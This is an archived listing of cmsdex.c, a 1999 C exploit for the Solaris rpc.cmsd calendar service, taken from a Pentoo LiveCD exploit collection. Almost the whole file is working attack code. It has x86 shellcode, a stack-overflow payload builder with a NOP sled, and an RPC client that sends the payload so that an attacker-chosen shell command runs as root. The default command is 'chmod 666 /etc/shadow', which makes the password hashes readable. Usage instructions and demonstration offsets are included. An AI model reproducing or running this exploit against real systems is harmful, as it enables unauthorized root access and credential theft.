home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / cmsdex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  218 lines

  1. /*
  2.  *  cmsdex - i386 Solaris remote root exploit for /usr/dt/bin/rpc.cmsd
  3.  *
  4.  * Tested and confirmed under Solaris 2.6 and 7.0 (i386)
  5.  *
  6.  *  Usage:  % cmsdex -h hostname -c command -s sp -o offset
  7.  *
  8.  *  where hostname is the hostname of the machine running the vulnerable
  9.  *  CDE calendar service, command is the command to run as root on the
  10.  *  vulnerable machine, sp is the %esp stack pointer value, and offset
  11.  *  is the number of bytes to add to sp to calculate your target %eip
  12.  *  (try -1000 to 1000 in increments of 10 or so for starters once you
  13.  *  have a good guess at the stack pointer).
  14.  *
  15.  *  When specifying a command, be sure to pass it to the exploit as a
  16.  *  single argument, namely enclose the command string in quotes if it
  17.  *  contains spaces or other special shell delimiter characters.  The
  18.  *  command string must not be longer than 100 bytes.  The exploit will
  19.  *  pass this string without modification to /bin/sh -c on the remote
  20.  *  machine, so any normally allowed Bourne shell syntax is also allowed
  21.  *  in the command string.  Due to the nature of the exploit, the command
  22.  *  string must not contain any @ characters.
  23.  *
  24.  *  Demonstration values for i386 Solaris:
  25.  *
  26.  *  (2.6)  cmsdex -h host.example.com -c "touch /0wn3d" -s 0x0804748c -o 0
  27.  *  (7.0)  cmsdex -h host.example.com -c "touch /0wn3d" -s 0x08047378 -o 0
  28.  *
  29.  *  June 4, 1999
  30.  */
  31.  
  32. #include <stdlib.h>
  33. #include <stdio.h>
  34. #include <string.h>
  35. #include <unistd.h>
  36. #include <rpc/rpc.h>
  37.  
  38. #define CMSD_PROG 100068
  39. #define CMSD_VERS 4
  40. #define CMSD_PROC 21
  41.  
  42. #define EGGLEN 1036
  43. #define JUGULAR 1024
  44. #define NOP 0x90
  45.  
  46. char shell[] =
  47.   /*  0 */ "\xeb\x3d"                         /* jmp springboard [2000]*/
  48.   /* syscall:                                                    [2000]*/
  49.   /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  50.   /*  9 */ "\xc3"                             /* ret             [2000]*/
  51.   /* start:                                                      [2000]*/
  52.   /* 10 */ "\x5e"                             /* popl %esi       [2000]*/
  53.   /* 11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  54.   /* 13 */ "\x89\x46\xbf"                     /* movl %eax,-0x41(%esi) */
  55.   /* 16 */ "\x88\x46\xc4"                     /* movb %al,-0x3c(%esi)  */
  56.   /* 19 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  57.   /* 22 */ "\x88\x46\x17"                     /* movb %al,0x17(%esi)   */
  58.   /* 25 */ "\x88\x46\x1a"                     /* movb %al,0x1a(%esi)   */
  59.   /* 28 */ "\x88\x46\xff"                     /* movb %al,0x??(%esi)   */
  60.   /* execve:                                                     [2000]*/
  61.   /* 31 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  62.   /* 33 */ "\x50"                             /* pushl %eax      [2000]*/
  63.   /* 34 */ "\x56"                             /* pushl %esi      [2000]*/
  64.   /* 35 */ "\x8d\x5e\x10"                     /* leal 0x10(%esi),%ebx  */
  65.   /* 38 */ "\x89\x1e"                         /* movl %ebx,(%esi)[2000]*/
  66.   /* 40 */ "\x53"                             /* pushl %ebx      [2000]*/
  67.   /* 41 */ "\x8d\x5e\x18"                     /* leal 0x18(%esi),%ebx  */
  68.   /* 44 */ "\x89\x5e\x04"                     /* movl %ebx,0x4(%esi)   */
  69.   /* 47 */ "\x8d\x5e\x1b"                     /* leal 0x1b(%esi),%ebx  */
  70.   /* 50 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  71.   /* 53 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  72.   /* 55 */ "\xe8\xc6\xff\xff\xff"             /* call syscall    [2000]*/
  73.   /* 60 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  74.   /* springboard:                                                [2000]*/
  75.   /* 63 */ "\xe8\xc6\xff\xff\xff"             /* call start      [2000]*/
  76.   /* data:                                                       [2000]*/
  77.   /* 68 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  78.   /* 72 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  79.   /* 76 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  80.   /* 80 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  81.   /* 84 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  82.   /* 92 */ "\x2d\x63\xff";                    /* DATA            [2000]*/
  83.  
  84. extern char *optarg;
  85.  
  86. struct cm_send
  87.   {
  88.     char *s1;
  89.     char *s2;
  90.   };
  91.  
  92. struct cm_reply
  93.   {
  94.     int i;
  95.   };
  96.  
  97. bool_t
  98. xdr_cm_send(XDR *xdrs, struct cm_send *objp)
  99. {
  100.   if (!xdr_wrapstring(xdrs, &objp->s1))
  101.     return (FALSE);
  102.   if (!xdr_wrapstring(xdrs, &objp->s2))
  103.     return (FALSE);
  104.   return (TRUE);
  105. }
  106.  
  107. bool_t
  108. xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
  109. {
  110.   if (!xdr_int(xdrs, &objp->i))
  111.     return (FALSE);
  112.   return (TRUE);
  113. }
  114.  
  115. int
  116. main(int argc, char *argv[])
  117. {
  118.   int c, slen, clen;
  119.   char *program, *hostname, *command, egg[EGGLEN+1], *eggp;
  120.   unsigned long int sp = 0, addr, alen = 16;
  121.   long int offset = 0;
  122.   CLIENT *cl;
  123.   struct cm_send send;
  124.   struct cm_reply reply;
  125.   struct timeval tm =
  126.       {
  127.         10, 0
  128.       };
  129.   enum clnt_stat stat;
  130.  
  131.   program = argv[0];
  132.   hostname = "localhost";
  133.   command = "chmod 666 /etc/shadow";
  134.  
  135.   while ((c = getopt(argc, argv, "h:c:s:o:a:")) != EOF)
  136.     {
  137.       switch (c)
  138.         {
  139.         case 'h':
  140.           hostname = optarg;
  141.           break;
  142.         case 'c':
  143.           command = optarg;
  144.           break;
  145.         case 's':
  146.           sp = strtoul(optarg, NULL, 0);
  147.           break;
  148.         case 'o':
  149.           offset = strtol(optarg, NULL, 0);
  150.           break;
  151.         case 'a':
  152.           alen = strtoul(optarg, NULL, 0);
  153.           break;
  154.         case '?':
  155.         default:
  156.           printf("usage: %s -h hostname -c command -s sp -o offset\n",
  157.                  program);
  158.           exit(1);
  159.           break;
  160.         }
  161.     }
  162.  
  163.   slen = strlen(shell);
  164.   clen = strlen(command);
  165.  
  166.   if (clen > 100)
  167.     {
  168.       printf("exploit failed; command string too long "
  169.              "(must not exceed 100 characters)\n");
  170.       exit(1);
  171.     }
  172.   shell[30] = (char) (clen + 27);
  173.  
  174.   memset(egg, NOP, EGGLEN);
  175.   eggp = egg + EGGLEN - alen - 1 - clen - slen;
  176.   memcpy(eggp, shell, slen);
  177.   eggp += slen;
  178.   memcpy(eggp, command, clen);
  179.   eggp += clen;
  180.   *eggp++ = '\xff';
  181.   addr = sp + offset;
  182.   while (eggp <= egg + EGGLEN - 4)
  183.     {
  184.       *eggp++ = (addr >>  0) & 0xff;
  185.       *eggp++ = (addr >>  8) & 0xff;
  186.       *eggp++ = (addr >> 16) & 0xff;
  187.       *eggp++ = (addr >> 24) & 0xff;
  188.     }
  189.   egg[JUGULAR] = '\xff';
  190.   egg[EGGLEN] = '\0';
  191.   send.s1 = egg;
  192.   send.s2 = "";
  193.  
  194.   cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
  195.   if (cl == NULL)
  196.     {
  197.       clnt_pcreateerror("clnt_create");
  198.       printf("exploit failed; unable to contact RPC server\n");
  199.       exit(1);
  200.     }
  201.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  202.   stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send,
  203.                    xdr_cm_reply, (caddr_t) &reply, tm);
  204.   if (stat == RPC_SUCCESS)
  205.     {
  206.       printf("exploit failed; RPC succeeded and returned %d\n", reply.i);
  207.       clnt_destroy(cl);
  208.       exit(1);
  209.     }
  210.   else
  211.     {
  212.       clnt_perror(cl, "clnt_call");
  213.       printf("exploit probably worked; RPC failure was expected\n");
  214.       clnt_destroy(cl);
  215.       exit(0);
  216.     }
  217. }
  218. /*                    www.hack.co.za           [4 June 1999]*/